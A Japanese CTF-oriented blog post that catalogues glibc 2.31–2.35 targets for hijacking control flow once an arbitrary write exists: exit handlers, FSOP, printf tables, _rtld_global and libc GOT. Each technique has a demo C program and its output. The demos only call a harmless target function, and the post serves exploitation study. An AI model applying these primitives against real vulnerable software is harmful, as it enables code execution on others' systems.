はじめに 基本的にCTF用 glibc2.34でmalloc_hook, free_hookが消されたのもあって 今何が使えるのかよくわからんくなってたのでまとめてみた。 別に新しい手法の紹介では全くなく、既出を調べただけ。 多分これ以外にももっと使えるシンボルあると思うんで、こっそり教えてくれたら追記します。
検証ではアドレスリークや任意アドレスの書き込みの手段がすでにあるという前提の 擬似exploitになっている。 target関数が直接呼び出さずに実行されていることをもって、RIPが制御できているみたいな感じで読んでほしい。
また環境は、基本的に検証時点での最新版のglibc2.35で行い、 2.35で動かないもの、消されてたシンボルについては2.31で検証した。
目次
_free_hook / _malloc_hook 2.34でシンボルが消された そのため < 2.34の環境で動く(2.31までは少なくとも確認済み)
みんな大好き_free_hook 条件次第では8bytesの書き換えでシェルまで取れるのはやっぱり便利だった。
手順 説明不要な気がするが、シンボルを呼び出したい関数アドレスに書き換えてmalloc/freeを呼ぶだけ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x84450 ;unsigned long off_malloc_hook = 0x1ecb70 ;unsigned long off_free_hook = 0x1eee48 ;void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void target2 (unsigned long arg1) { printf ("In target2(): arg1=0x%lx\n" , arg1); return ; } void main () { printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * ptr_malloc_hook = libc_base+off_malloc_hook; void * ptr_free_hook = libc_base+off_free_hook; char * ptr = malloc (0x400 ); free (ptr); *(unsigned long *)ptr_malloc_hook = target1; *(unsigned long *)ptr_free_hook = target2; malloc (0xff ); free (ptr); puts ("End of main()" ); return ; }
1 2 3 4 5 6 $ ./malloc_free_hook Start of main() libc_base = 0x7f3714205000 In target1(): arg1=0xff In target2(): arg1=0x5583524a16b0 End of main()
上記は2.31環境での動作確認。
参考
__exit_funcs / pointer_guard ver2.35で動作確認済み
手順 __exit_funcsというstruct exit_functions_listを指すポインタを書き換えて いい感じの関数テーブルを用意する。 するとexit()やmain関数からのreturn時に呼ばれるrun_exit_handler()内で関数が呼ばれるが この時PTR_DEMANGLEでror 0x11とxorの操作があるので関数ポインタはあらかじめエンコードされた値を格納しておく。 xorする値はstack canaryと同様のTLS領域に格納されているのでこの値をリークまたは書き換える必要がある。 第一引数を隣接するアドレスで指定できるのはとても良い。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x80ed0 ;unsigned long off_tls = 0x7ffff7d8a740 - 0x7ffff7d8d000 ;unsigned long off_exit_funcs = 0x7ffff7fa6838 - 0x7ffff7d8d000 ;#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)> >(0x40-0x11)) void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void target2 (unsigned long arg1) { printf ("In target2(): arg1=0x%lx\n" , arg1); return ; } void main () { printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * tls = libc_base + off_tls; printf ("tls = %p\n" ,tls); void * exit_funcs = libc_base + off_exit_funcs; printf ("exit_funcs = %p\n" ,exit_funcs); unsigned long fake_pointer_guard = 0xdeadbeef ; void * fake_exit_function_list = malloc (0x200 ); *(unsigned long *)(fake_exit_function_list + 0x0 ) = 0 ; *(unsigned long *)(fake_exit_function_list + 0x8 ) = 2 ; *(unsigned long *)(fake_exit_function_list + 0x10 ) = 4 ; *(unsigned long *)(fake_exit_function_list + 0x18 ) = ENC_FUNC((unsigned long )target1,fake_pointer_guard); *(unsigned long *)(fake_exit_function_list + 0x20 ) = 0x12345678 ; *(unsigned long *)(fake_exit_function_list + 0x30 ) = 4 ; *(unsigned long *)(fake_exit_function_list + 0x38 ) = ENC_FUNC((unsigned long )target2,fake_pointer_guard); *(unsigned long *)(fake_exit_function_list + 0x40 ) = 0x9abcdef0 ; *(unsigned long *)(tls+0x30 ) = fake_pointer_guard; *(unsigned long *)exit_funcs = (unsigned long )fake_exit_function_list; puts ("End of main()" ); return ; }
1 2 3 4 5 6 7 8 $ ./exit_funcs Start of main() libc_base = 0x7f212d6ef000 tls = 0x7f212d6ec740 exit_funcs = 0x7f212d908838 End of main() In target2(): arg1=0x9abcdef0 In target1(): arg1=0x12345678
参考資料
_IO_list_all / _IO_OVERFLOW いわゆるFSOPというやつで、この類のやつは状況次第では発火ポイントは色々あるので、 ここでは汎用性の高そうな_IO_OVERFLOWによる発火を記載する。
手順 IO_list_allには本来stderr->stdout->stdinといったファイル構造体が単方向リストに繋がれている。
exit()やmain関数からのreturn時に呼ばれる_IO_flush_all_lockp内では、 このIO_list_allを辿って各ファイル構造体のメンバが特定の条件の時に_IO_OVERFLOW(vtableメンバ+0x18に位置する関数ポインタ)が呼ばれるという処理が存在する。
この処理を利用して、IO_list_allを偽造した_IO_FILE_plus構造体を指すようにして、bufferのポインタなど適切なメンバを設定することで関数をフックすることができる。
vtableメンバは適切なアドレス範囲内にあるかのチェックが行われるため偽の関数テーブルを用意したheap領域を指すようにしたりはできない。(チェックの話は結構昔からあるので割愛する) そのため本来のvtable付近のアドレスに、飛ばしたいアドレスを格納し、vtableメンバ+0x18がそのアドレスを指すようにずらしてあげることで_IO_OVERFLOW呼び出し時に目的の関数実行することができる。
パターン1(vtable領域への書き込み) vtable領域内に飛ばしたい関数ポインタを書き込んで、偽装した構造体のvtableメンバを適切にずらしてあげるやり方。
先に言うと2.35では基本的に使えないと思われる。 というのも自分の環境ではシンボルや関数自体はあるもののvtableのメモリページがreadonlyになっているので書き換えができなかった。
2.31ではどうかというと、これも自分の環境だとreadonlyになっててダメだった。 記憶では2.31でも普通に使えたので、あれ?と思い少し調べてみたが、同じバージョンでもパッチが当たっているものがあるみたい。なのでこれを使う際はあまりバージョンで判断しない方が良さそう。 (この解釈間違っている可能性があるので、有識者がいたら教えてほしい)
以下に記載する再現は次の環境で行った
1 2 Ubuntu GLIBC 2.31-0ubuntu9.3 BuildID[sha1]=ce782ece08d088e77eeadc086f84d4888de4bb42
ちなみに動かなかった2.31
1 2 Ubuntu GLIBC 2.31-0ubuntu9.7 BuildID[sha1]=9fdb74e7b217d06c93172a8243f8547f947ee6d1
以下は本来のvtable+0x8にtarget関数のアドレスを、偽造したファイル構造体のvtableメンバを本来のvtableから-0x10した値にセットしている。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x875a0 ;unsigned long off_IO_list_all = 0x1ec5a0 ;unsigned long off_vtable = 0x1ed4a0 ;void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void main () { printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * IO_list_all = libc_base + off_IO_list_all; printf ("IO_list_all = %p\n" ,IO_list_all); void * vtable = libc_base + off_vtable; printf ("vtable = %p\n" ,vtable); void * fake_io_struct = malloc (0x400 ); printf ("fake_io_struct = %p\n" , fake_io_struct); *(unsigned long *)(fake_io_struct+ 0x0 ) = 0xdeadbeef ; *(unsigned long *)(fake_io_struct+0x20 ) = 0 ; *(unsigned long *)(fake_io_struct+0x28 ) = 1 ; *(int *)(fake_io_struct+0xc0 ) = 0 ; *(unsigned long *)(fake_io_struct+0xd8 ) = (unsigned long )vtable - 0x10 ; *(unsigned long *)(vtable + 0x8 ) = target1; *(unsigned long *)IO_list_all = fake_io_struct; puts ("End of main()" ); return ; }
1 2 3 4 5 6 7 8 $ ./io_list_all Start of main() libc_base = 0x7fb8274ae000 IO_list_all = 0x7fb82769a5a0 vtable = 0x7fb82769b4a0 fake_io_struct = 0x555a5e00d6b0 End of main() In target1(): arg1=0x555a5e00d6b0
パターン2(_IO_cookie_[read|write|seek|close]の呼び出し) house of emmaの1パート
この方法ではパターン1が動かなかった2.31(GLIBC 2.31-0ubuntu9.7)でも動くことが確認できた。 自分の環境の2.35では_IO_cookie_jumps近辺にvtableを設定するとvtable checkで検出されるようになっていた。(コードレベルで追えていない)
_IO_OVERFLOWが指す関数ポインタを既存の関数_IO_cookie_[read|write|seek|close]に向ける。 これらの_IO_cookie_xxx関数では、さらに_IO_cookie_file構造体の関数ポインタのメンバを呼ぶことができて、これらはvtableからの呼び出しではないので、heap上に設置できる。 また関数ポインタは前述のPTR_DEMANGLEでデコードされるので、あらかじめエンコードされた値を格納しておく。
以下の擬似exploitはexit()時のIO_OVERFLOWをトリガーにしているので、pointer_guardを改ざんすると、前述の__exit_funcsのDEMANGLEが失敗してしまうので、pointer_guardをリークした場合を想定している。(他のメンバをいじることでpointer_guardの改ざんでも発火は一応できるが)
exit時の_IO_OVERFLOWを発火のトリガーにしなければこの問題は回避できる。 (現にhouse of emmaの解説記事ではassert()をトリガーにしている)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x7ffff7e4a450 - 0x7ffff7dc6000 ;unsigned long off_IO_list_all = 0x7ffff7fb35a0 - 0x7ffff7dc6000 ;unsigned long off_IO_cookie_jumps = 0x7ffff7faea20 - 0x7ffff7dc6000 ;unsigned long off_tls = 0x7ffff7fb9540 - 0x7ffff7dc6000 ;#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)> >(0x40-0x11)) void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void main () { printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * IO_list_all = libc_base + off_IO_list_all; printf ("IO_list_all = %p\n" ,IO_list_all); void * IO_cookie_jumps = libc_base + off_IO_cookie_jumps; printf ("IO_cookie_jumps = %p\n" ,IO_cookie_jumps); void * tls = libc_base + off_tls; printf ("tls = %p\n" ,tls); void * fake_io_struct = malloc (0x400 ); unsigned long pointer_guard = *(unsigned long *)(tls+0x30 ); *(unsigned long *)(fake_io_struct+0x20 ) = 0 ; *(unsigned long *)(fake_io_struct+0x28 ) = 1 ; *(int *)(fake_io_struct+0xc0 ) = 0 ; *(unsigned long *)(fake_io_struct+0xe0 ) = 0xdeadbeef ; *(unsigned long *)(fake_io_struct+0xd8 ) = (unsigned long )IO_cookie_jumps+0x58 ; *(unsigned long *)(fake_io_struct+0xe8 ) = ENC_FUNC((unsigned long )target1, pointer_guard); *(unsigned long *)IO_list_all = fake_io_struct; puts ("End of main()" ); return ; }
参考
__printf_function_table / __printf_arginfo_table house of husk の1パート ver2.35で動作確認済み
rdiを操作するのはキツそうなのでone gadgetなりいい感じのgadgetが必要。
手順 __printf_function_tableを読み込み可能領域に、 __printf_arginfo_tableを自身の用意した関数テーブルを指すようにすれば、 書式文字列を用いてprintf()を行うことで、対象の関数テーブルの値が呼ばれる。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x80ed0 ;unsigned long off_printf_function_table = 0x7ffff7fa89c8 - 0x7ffff7d8d000 ;unsigned long off_printf_arginfo_table = 0x7ffff7fa78b0 - 0x7ffff7d8d000 ;void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void main () { printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * printf_function_table = libc_base + off_printf_function_table; void * printf_arginfo_table = libc_base + off_printf_arginfo_table; printf ("__printf_function_table = %p\n" ,printf_function_table); printf ("__printf_arginfo_table = %p\n" ,printf_arginfo_table); printf ("%K\n" ); void * area_readable = malloc (0x100 ); void * fake_arginfo_table = malloc (0x400 ); *(unsigned long *)(fake_arginfo_table + 'K' *8 ) = target1; *(unsigned long *)printf_function_table = (unsigned long )area_readable; *(unsigned long *)printf_arginfo_table = (unsigned long )fake_arginfo_table; printf ("%K\n" ); puts ("End of main()" ); return ; }
1 2 3 4 5 6 7 8 9 10 $ ./printf_arginfo_table Start of main() libc_base = 0x7f5b27122000 __printf_function_table = 0x7f5b2733d9c8 __printf_arginfo_table = 0x7f5b2733c8b0 %K after overwrite In target1(): arg1=0x7fffa1fceda0 In target1(): arg1=0x7fffa1fceda0 %K
2回呼ばれているのは printf_positionalとその中で呼ばれる__parse_one_specmbでそれぞれ実行されている。
参考資料
_rtld_global house of banana の1パート ver2.35で動作確認済み。
手順 ld.so内の_rtld_globalが指し示すlink_mapの双方向リストをいい感じに書き換えると、 exit()やmain関数からのreturnの際に呼ばれる_dl_finiの処理にていい感じに差し替えた関数テーブルが呼ばれる。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x80ed0 ;unsigned long off_ld = 0x7fe5d6f2d000 - 0x7fe5d6cfd000 ; unsigned long off_rtld_global = 0x7ffff7ffd040 - 0x7ffff7fc3000 ;void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void target2 (unsigned long arg1) { printf ("In target2(): arg1=0x%lx\n" , arg1); return ; } void main () { int i; printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * rtld_global = libc_base + off_ld + off_rtld_global; printf ("rtld_global = %p\n" ,rtld_global); unsigned int ns_loaded = 4 ; void * fake_link_maps[ns_loaded]; for (i = ns_loaded-1 ; i >= 0 ; i--){ fake_link_maps[i] = malloc (0x400 ); *(unsigned long *)(fake_link_maps[i] + 0x28 ) = fake_link_maps[i]; if (i == ns_loaded-1 ) *(unsigned long *)(fake_link_maps[i] + 0x18 ) = 0 ; else *(unsigned long *)(fake_link_maps[i] + 0x18 ) = fake_link_maps[i+1 ]; } void * fake_array = malloc (0x10 ); void * fake_array_size = malloc (0x10 ); void * fake_func_table = malloc (0x10 ); *(unsigned long *)(fake_link_maps[0 ] + 0x110 ) = fake_array; *(unsigned long *)(fake_array + 8 ) = fake_func_table; *(unsigned long *)(fake_link_maps[0 ] + 0x120 ) = fake_array_size; *(unsigned long *)(fake_array_size + 8 ) = 0x10 ; *(unsigned int *)(fake_link_maps[0 ] + 0x31c ) = 8 ; *(unsigned long *)(fake_func_table + 0 ) = target1; *(unsigned long *)(fake_func_table + 8 ) = target2; *(unsigned long *)rtld_global = (unsigned long )fake_link_maps[0 ]; puts ("End of main()" ); return ; }
1 2 3 4 5 6 7 $ ./rtld_global Start of main() libc_base = 0x7fd908050000 rtld_global = 0x7fd9082ba040 End of main() In target2(): arg1=0x7fd9082baa48 In target1(): arg1=0x7fff8b010e00
関数はテーブルの末尾から連続で呼ぶことができる & その際にレジスタがあまり破壊されないので(環境依存) 1ターン目でrdiをセット、2ターン目でsystem()みたいなこともできる。
以下は自分の環境での関数ループの処理
1 2 3 4 5 6 7 0x7ffff7fc9248 <_dl_fini+520>: mov QWORD PTR [rbp-0x38],rax 0x7ffff7fc924c <_dl_fini+524>: call QWORD PTR [rax] 0x7ffff7fc924e <_dl_fini+526>: mov rax,QWORD PTR [rbp-0x38] 0x7ffff7fc9252 <_dl_fini+530>: mov rdx,rax 0x7ffff7fc9255 <_dl_fini+533>: sub rax,0x8 0x7ffff7fc9259 <_dl_fini+537>: cmp QWORD PTR [rbp-0x40],rdx 0x7ffff7fc925d <_dl_fini+541>: jne 0x7ffff7fc9248 <_dl_fini+520>
参考資料
_dl_open_hook dl_open_hookについてはシンボル自体2.35でもある が解説記事の手法は < 2.31で動作するっぽい。(ソースコードで判断しているため、未確認要検証)
abort時の__libc_message()内のBEFORE_ABORT(backtrace_and_mapsのマクロ)が2.31以降消されている。
手順 _dl_open_hookに、用意したdl_open_hook構造体を配置することで、abort時に呼ばれる 関数を操作することができる。
擬似exploitは省略 2.31未満のlibc問が出題されたらワンチャン使えるかもくらいに思い出してあげてほしい。
参考
GOT overwrite in libc(追記) twitterより
moraさんあざます🙏
2.35でも使えたテクニックで、glibcバイナリのgot overwrite。
以下は教えてもらったtweet通りcalloc内で呼ばれるmemsetのgotを書き換えた。 本記事で何回も出している__run_exit_handlerでもfree呼ばれるからfree@gotを書き換えようと思ったら、 free@gotはreadonlyのページに配置されていた。同じlibcのgot領域でも書き込み可否が変わるのか。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <stdio.h> #include <stdlib.h> unsigned long off_puts = 0x80ed0 ;unsigned long off_got_memset_in_libc = 0x219188 ;void target1 (unsigned long arg1) { printf ("In target1(): arg1=0x%lx\n" , arg1); return ; } void main () { printf ("Start of main()\n" ); void * libc_base = &puts - (unsigned long )off_puts; printf ("libc_base = %p\n" ,libc_base); void * got_memset_in_libc = libc_base + off_got_memset_in_libc; printf ("got_memset_in_libc = %p\n" ,got_memset_in_libc); void * ptr = calloc (0x58 ,1 ); *(unsigned long *)got_memset_in_libc = target1; puts ("before memset()" ); memset (ptr, 0 , 0x58 ); puts ("before calloc()" ); ptr = calloc (0x58 ,1 ); puts ("End of main()" ); return ; }
1 2 3 4 5 6 7 8 $ ./got_in_libc Start of main() libc_base = 0x7fc77cbf0000 got_memset_in_libc = 0x7fc77ce09188 before memset() before calloc() In target1(): arg1=0x55c178b23710 End of main()
終わりに 実はこれはctf4bのmonkey heapが解けなかった際の供養 最近サボってたら置いてかれていた
間違いあれば教えてください